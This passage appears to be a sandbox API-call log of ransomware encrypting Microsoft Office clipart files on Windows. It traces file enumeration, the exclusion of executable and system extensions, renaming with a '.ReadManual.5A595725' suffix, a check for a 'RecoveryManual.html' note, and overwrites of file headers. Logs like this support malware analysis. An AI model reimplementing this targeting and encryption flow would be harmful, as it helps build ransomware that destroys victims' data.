Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" [0273.465] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ReadManual.5A595725" [0273.465] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ReadManual.5A595725") returned 87 [0273.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39413367975) returned 1 [0273.465] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp")) returned 0x20 [0273.465] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.465] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33048) returned 1 [0273.465] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8118, lpName=0x0) returned 0x184 [0273.466] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.466] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.466] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.468] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.468] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8118) returned 0x2f0000 [0273.469] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.469] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39413780418) returned 1 [0273.469] CloseHandle (hObject=0x184) returned 1 [0273.469] SetSecurityInfo () returned 0x57 [0273.469] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.469] CloseHandle (hObject=0x194) returned 1 [0273.469] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0273.469] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02740G.GIF" | out: lpString1="PH02740G.GIF") returned="PH02740G.GIF" [0273.469] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.469] StrStrIW (lpFirst="PH02740G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.469] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.469] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.470] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.470] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.470] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.470] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.470] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.470] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.470] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" [0273.470] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ReadManual.5A595725" [0273.470] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ReadManual.5A595725") returned 87 [0273.470] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39413869579) returned 1 [0273.470] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif")) returned 0x20 [0273.471] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.471] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24363) returned 1 [0273.471] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f2b, lpName=0x0) returned 0x184 [0273.471] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.472] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.472] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.474] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.474] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f2b) returned 0x2f0000 [0273.474] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.474] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39414320723) returned 1 [0273.474] CloseHandle (hObject=0x184) returned 1 [0273.475] SetSecurityInfo () returned 0x57 [0273.475] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.475] CloseHandle (hObject=0x194) returned 1 [0273.475] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0273.475] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02740U.BMP" | out: lpString1="PH02740U.BMP") returned="PH02740U.BMP" [0273.475] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.475] StrStrIW (lpFirst="PH02740U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.475] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.475] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.475] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.475] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" [0273.475] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ReadManual.5A595725" [0273.475] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ReadManual.5A595725") returned 87 [0273.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39414399176) returned 1 [0273.475] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp")) returned 0x20 [0273.475] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.476] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32616) returned 1 [0273.476] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f68, lpName=0x0) returned 0x184 [0273.476] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.477] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.478] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.478] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f68) returned 0x2f0000 [0273.479] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39414776029) returned 1 [0273.479] CloseHandle (hObject=0x184) returned 1 [0273.479] SetSecurityInfo () returned 0x57 [0273.479] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.479] CloseHandle (hObject=0x194) returned 1 [0273.479] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0273.479] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02742G.GIF" | out: lpString1="PH02742G.GIF") returned="PH02742G.GIF" [0273.479] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.479] StrStrIW (lpFirst="PH02742G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.479] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.479] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.479] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.479] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.480] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.480] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.480] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.480] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.480] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.480] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" [0273.480] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ReadManual.5A595725" [0273.480] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ReadManual.5A595725") returned 87 [0273.480] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39414863198) returned 1 [0273.480] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif")) returned 0x20 [0273.480] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.480] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20645) returned 1 [0273.480] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50a5, lpName=0x0) returned 0x184 [0273.481] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.481] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.483] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.483] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50a5) returned 0x2f0000 [0273.483] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39415239721) returned 1 [0273.484] CloseHandle (hObject=0x184) returned 1 [0273.484] SetSecurityInfo () returned 0x57 [0273.484] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.484] CloseHandle (hObject=0x194) returned 1 [0273.484] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0273.484] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02742U.BMP" | out: lpString1="PH02742U.BMP") returned="PH02742U.BMP" [0273.484] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.484] StrStrIW (lpFirst="PH02742U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.484] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.484] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.484] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.484] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" [0273.484] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ReadManual.5A595725" [0273.484] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ReadManual.5A595725") returned 87 [0273.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39415318572) returned 1 [0273.484] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp")) returned 0x20 [0273.485] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.485] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.485] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.485] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.486] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.486] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.488] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.488] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.488] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.488] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39415720241) returned 1 [0273.488] CloseHandle (hObject=0x184) returned 1 [0273.489] SetSecurityInfo () returned 0x57 [0273.489] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.489] CloseHandle (hObject=0x194) returned 1 [0273.489] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0273.489] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02743G.GIF" | out: lpString1="PH02743G.GIF") returned="PH02743G.GIF" [0273.489] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.489] StrStrIW (lpFirst="PH02743G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.489] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.489] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.489] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.489] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" [0273.489] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ReadManual.5A595725" [0273.489] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ReadManual.5A595725") returned 87 [0273.489] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39415819685) returned 1 [0273.489] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif")) returned 0x20 [0273.490] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 